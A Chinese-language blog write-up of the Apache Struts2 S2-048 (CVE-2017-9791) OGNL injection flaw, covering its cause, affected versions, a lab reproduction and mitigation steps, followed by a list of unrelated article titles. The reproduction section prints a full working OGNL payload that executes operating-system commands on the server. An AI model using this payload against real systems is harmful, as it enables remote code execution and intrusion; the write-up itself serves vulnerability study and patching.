1.1 漏洞背景

2017年7月7日,Apache Struts发布最新的安全公告,Apache Struts2-strus1-plugin插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048),主要受影响的Struts版本为:2.3.x。

攻击者可以构造恶意的字段值(value)通过Struts2的struts2-struts1-plugin的插件传递给被攻击主机,从而实现远程代码执行攻击,直接获取远程主机的控制权限。

1.2 漏洞产生原因

这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。

而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同事这个 getText() 的 参数输入点,又可以被用户直接进行控制,如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。

1.3 漏洞影响范围

Apache Struts 2.3.x系列中启用了struts2-struts1-plugin插件的版本都在其影响的范围内。

1.4 漏洞复现

本次实验环境包是17年11月30号更新的struts-2.3.31包,将其中的struts2-showcase.war包copy到tomcat的webapps下。

访问http://127.0.0.1:8080/struts2-showcase/integration/editGangster.action

第一种方式使用burpsuite抓包来测试,poc为:

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

修改Content-type的内容为如上内容,结果如下图所示:

第二种方法,使用poc批量验证

需要新建tmp.txt和url.txt文本文档

定位到Struts2-048.py的目录下,执行如下命令:

1.5 漏洞修复

(1)直接禁用 struts2-struts1-plugin插件;

(2)对于如果启用 struts2-showcase 演示示例系统,应立即删除本演示示例;

(3)升级struts2 到最新版本;

(4)建议开发者通过使用resource keys替代将原始消息直接传递给ActionMessage的方式,如:

messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

参考链接:http://netsecurity.51cto.com/art/201707/544837.htm

最新文章

  1. Jsp的九个内置对象
  2. 《JavaScript高级程序设计》 - 读书笔记 - 第4章 变量、作用域和内存问题
  3. 《简明python教程》笔记二
  4. 利用Dapper ORM搭建三层架构
  5. ADO.NET笔记——带参数的查询防止SQL注入攻击
  6. 主成分分析(principal components analysis, PCA)——无监督学习
  7. 转: angularjs 指令中动态编译的方法(适用于有异步请求的情况) 内嵌指令无效
  8. Oracle 闪回表实验
  9. 左倾堆(C#)
  10. iOS开发之计算文字尺寸
  11. ES6 浅谈let与const 块级作用域之封闭空间(闭包)
  12. HDnoip2017题解
  13. C# Note8: 设计模式全解
  14. java基础(4)继承和多态
  15. 地址栏的路由输入不匹配时候,设置默认跳转页面(redirect)
  16. day29 类中的内置函数方法 __str__ __repr__ __call__ isinstance() issubclass()
  17. Caffe源码阅读(1) 全连接层
  18. php+phpspreadsheet读取Excel数据存入mysql
  19. Spring中的@Transactional 放在 类级别 和 方法级别 上有什么不同?
  20. Xamarin.Android之SlidingMenu

热门文章

  1. 10、差异基因topGO富集
  2. Luogu 3237 [HNOI2014]米特运输
  3. dev初识 拖动分组
  4. hdu 4768 Flyer (异或操作的应用)
  5. sql修改排序规则,区分大小
  6. python核心编程第3章课后题答案(第二版55页)
  7. GTA4下载和玩教程
  8. 【转】SSH指南
  9. 简单工厂(Simple Factory)模式
  10. c++基础知识篇:指针